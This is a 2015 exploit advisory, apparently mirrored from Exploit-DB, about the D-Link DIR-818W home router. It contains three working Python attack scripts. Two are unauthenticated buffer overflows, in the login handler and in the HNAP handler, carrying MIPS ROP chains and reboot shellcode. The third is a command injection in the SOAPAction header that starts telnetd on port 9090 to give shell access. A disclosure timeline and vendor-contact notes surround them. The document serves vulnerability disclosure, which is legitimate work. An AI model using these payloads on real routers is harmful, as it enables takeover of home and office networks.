D-Link DIR-818W – Multiple Vulnerabilities

  • 作者: Samuel Huntley
    日期: 2015-11-16
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/38719/
  • ## Advisory Information
    
    Title: DIR-818W Buffer overflows and Command injection in authentication and HNAP functionalities
    Vendors contacted: William Brown <william.brown@dlink.com>, Patrick Cline patrick.cline@dlink.com(Dlink)
    CVE: None
    
    
    Note: All these security issues have been discussed with the vendor and vendor indicated that they have fixed issues as per the email communication. The vendor had also released the information on their security advisory pages http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10060, 
    http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10061
    
    However, the vendor has taken now the security advisory pages down and hence the information needs to be publicly accessible so that users using these devices can update the router firmwares.The author (Samuel Huntley) releasing this finding is not responsible for anyone using this information for malicious purposes. 
    
    ## Product Description
    
    DIR-818W -- Wireless AC750 Dual Band Gigabit Cloud Router. Mainly used by home and small offices.
    
    ## Vulnerabilities Summary
    
    Have come across 3 security issues in DIR-818W firmware which allows an attacker to exploit command injection and buffer overflows in authentication adn HNAP functionality. All of them can be exploited by an unauthentictaed attacker. The attacker can be on wireless LAN or WAN if mgmt interface is exposed to attack directly or using XSRF if not exposed.
    
    ## Details
    
    Buffer overflow in auth 
    ----------------------------------------------------------------------------------------------------------------------
    import socket
    import struct
    
    #Reboot shellcode in there
    '''
    2096 after id GET param, you can control the RA
    '''
    
    buf = "GET /dws/api/Login?id="
    buf+="A"*2064+"AAAA" #S0 # uclibc system address
    buf+="\x2A\xAF\xD0\x84" #S1 -- ROP2 (Pulls Sleep address from S2 which is also stored there before, loads SP+36 is filled in RA with ROP3 and calls Sleep)
    buf+="\x2A\xB1\x4D\xF0" #S2 -- points to Sleep in library
    buf+="\x2A\xB1\x4D\xF0" #JUNK S3
    buf+="\x2A\xB1\x4D\xF0" #JUNK S4
    buf+="\x2A\xB1\x4D\xF0" #JUNK S5
    buf+="\x2A\xB0\xDE\x54" # S6 filled up with pointer to ROP4 which is ultimate mission
    buf+="\x2A\xB1\x4D\xF0" #JUNK S7
    buf+="\x2A\xAC\xAD\x70" # RETN address -- ROP1 (fills a0 with 3 for sleep and s1 is filled before with ROP2 address which is called)
    buf+="C"*36 # 
    buf+="\x2A\xAC\xD5\xB4" # ROP3 (Fills in S4 the address of SP+16 and then jumps to ROP4 which calls SP+16 stored in S4)
    buf+="E"*16
    buf+="\x3c\x06\x43\x21\x34\xc6\xfe\xdc\x3c\x05\x28\x12\x34\xa5\x19\x69\x3c\x04\xfe\xe1\x34\x84\xde\xad\x24\x02\x0f\xf8\x01\x01\x01\x0c" #Reboot shellcode Big endian 
    buf+="Y"*120 
    buf+="&password=A HTTP/1.1\r\nHOST: 192.168.1.8\r\nUser-Agent: test\r\nAccept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nConnection:keep-alive\r\nContent-Length:5000\r\n\r\nid="+"A"*5000+"\r\n\r\n"
     
    print "[+] sending buffer size", len(buf)
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("10.0.0.90", 80))
    s.send(buf)
    
    ----------------------------------------------------------------------------------------------------------------------
    
    
    Buffer overflow in HNAP
    ----------------------------------------------------------------------------------------------------------------------
    import socket
    import struct
    
    '''
    548 characters after SOapaction:http://purenetworks.com/HNAP1/GetDeviceSettings/ should work, although sprintf copies twice so only 242 characters are required including /var/run and /etc/templates/hnap which is concatenated with your string to create 548 characters
    '''
    
    buf = "POST /HNAP1/ HTTP/1.0\r\nHOST: 192.168.1.8\r\nUser-Agent: test\r\nContent-Length: 1\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX" + ";sh;"+"B"*158
    buf+="\x2A\xAF\xD0\x84" #S1 -- ROP2 (Pulls Sleep address from S2 which is also stored there before, loads SP+36 is filled in RA with ROP3 and calls Sleep)
    buf+="\x2A\xB1\x4D\xF0" #S2 -- points to Sleep in library
    buf+="AAAA"+"AAAA"+"AAAA" #s3,s4,s5 JUNK
    buf+="\x2A\xB0\xDE\x54" # S6 filled up with pointer to ROP4 which is ultimate mission
    buf+="AAAA" #s7 JUNK
    buf+="\x2A\xAC\xAD\x70" # RETN address -- ROP1 (fills a0 with 3 for sleep and s1 is filled before with ROP2 address which is called)
    buf+="C"*36
    buf+="\x2A\xAC\xD5\xB4" # ROP3 (Fills in S4 the address of SP+16 and then jumps to ROP4 which calls SP+16 stored in S4)
    buf+="C"*16
    buf+="\x3c\x06\x43\x21\x34\xc6\xfe\xdc\x3c\x05\x28\x12\x34\xa5\x19\x69\x3c\x04\xfe\xe1\x34\x84\xde\xad\x24\x02\x0f\xf8\x01\x01\x01\x0c" #Reboot shellcode Big endian 
    buf+="B"*28+"\r\n" + "1\r\n\r\n"
     
    print "[+] sending buffer size", len(buf)
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("10.0.0.90", 80))
    s.send(buf)
    
    ----------------------------------------------------------------------------------------------------------------------
    
    Command injection 
    ----------------------------------------------------------------------------------------------------------------------
    import socket
    import struct
    
    # CSRF or any other trickery, but probably only works when connected to network I suppose for v2.02
    
    buf = "POST /HNAP1/ HTTP/1.0\r\nHOST: 10.0.0.90\r\nUser-Agent: test\r\nContent-Length: 1\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX" + ';telnetd -p 9090;\r\n' + "1\r\n\r\n"
     
    print "[+] sending buffer size", len(buf)
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("10.0.0.90", 80))
    s.send(buf)
    
    ----------------------------------------------------------------------------------------------------------------------
    
    ## Report Timeline
    
    * April 26, 2015: Vulnerability found by Samuel Huntley and reported to William Brown and Patrick Cline.
    * July 17, 2015: Vulnerability was fixed by Dlink as per the email sent by the vendor
    * Nov 13, 2015: A public advisory is sent to security mailing lists.
    
    ## Credit
    
    This vulnerability was found by Samuel Huntley